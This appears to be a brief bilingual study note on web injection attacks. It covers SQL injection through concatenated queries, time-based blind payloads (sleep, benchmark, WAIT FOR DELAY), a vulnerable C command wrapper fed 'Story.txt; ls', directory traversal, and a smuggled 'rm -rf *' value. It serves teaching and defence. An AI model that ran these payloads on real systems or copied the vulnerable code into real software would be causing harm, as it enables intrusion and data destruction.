

Injection

Sql injection

SELECT

\$query = "SELECT * FROM users WHERE username = ".\$_GET["usr"];

控制输入参usr，修改所要执行SQL语句，达到攻击的目的。

```
mysql_connect(servername,username,password);
```

方法：

推理, **and**和**or**, 特殊符号（+/-, 有时候需要编码）+号在SQL语句是有特效含义的，所以我们要对其进行url编码，最后也就是%2b

```
select * from users where id = 1
```

盲注：通过测试系统的反应时间和语句的特性来判断database状态, sleep /benchmark

```
mysql> select * from bsqli where id = 1 and 1 and sleep(1);  
Empty set (1.00 sec)
```

```
mysql> select * from bsqli where id = 1 and 0 and sleep(1);  
Empty set (0.00 sec)
```

判断注入是否可行



RESULTING QUERY (WITH MALICIOUS SLEEP INJECTED).

```
SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15'
```

判断sa



RESULTING QUERY (VERIFY IF USER IS SA).

```
SELECT * FROM products WHERE id=1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15'
```

判断id=1的ascii值=97?

```
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
```

拿Benchmark做ddos攻击

代码注入（命令注入）Command injection

一些网站/服务器会开通一些接口 比如ping等系统命令

Example：用cat 命令查阅一个文件的内容

```
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;

    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *) malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], (commandLength - strlen(cat)) );

    system(command);
    return (0);
}
```

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

```
$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt          doubFree.c        nullpointer.c
unstosig.c         www*              a.out*
format.c           strlen.c          useFree*
catWrapper*        misnull.c         strlength.c
useFree.c
```

```
commandinjection.c      nodefault.c      trunc.c
writeWhatWhere.c
```

不要直接call system等关键字

目录遍历 Directory traversal

修改输入路径

./

../

过滤 ../

<http://bdtg.37.com/s/1/3135/103489.html?uid=3241982>

```
a="a.txt;rm -rf *",system("rm -rf {$a}")
```

注入基本都是发生在参数传递的时候，服务器端设计的时候需要对敏感的词进行过滤

非常简单但是非常容易被忽视，我在国内很多教育网网站上发现过这个问题（通过injection获取文档并修改） 在amazon中国的也发现了（修改商品信息）

<http://www.dvwa.co.uk/index.php>

*很多注入漏洞都是针对windows, .NET的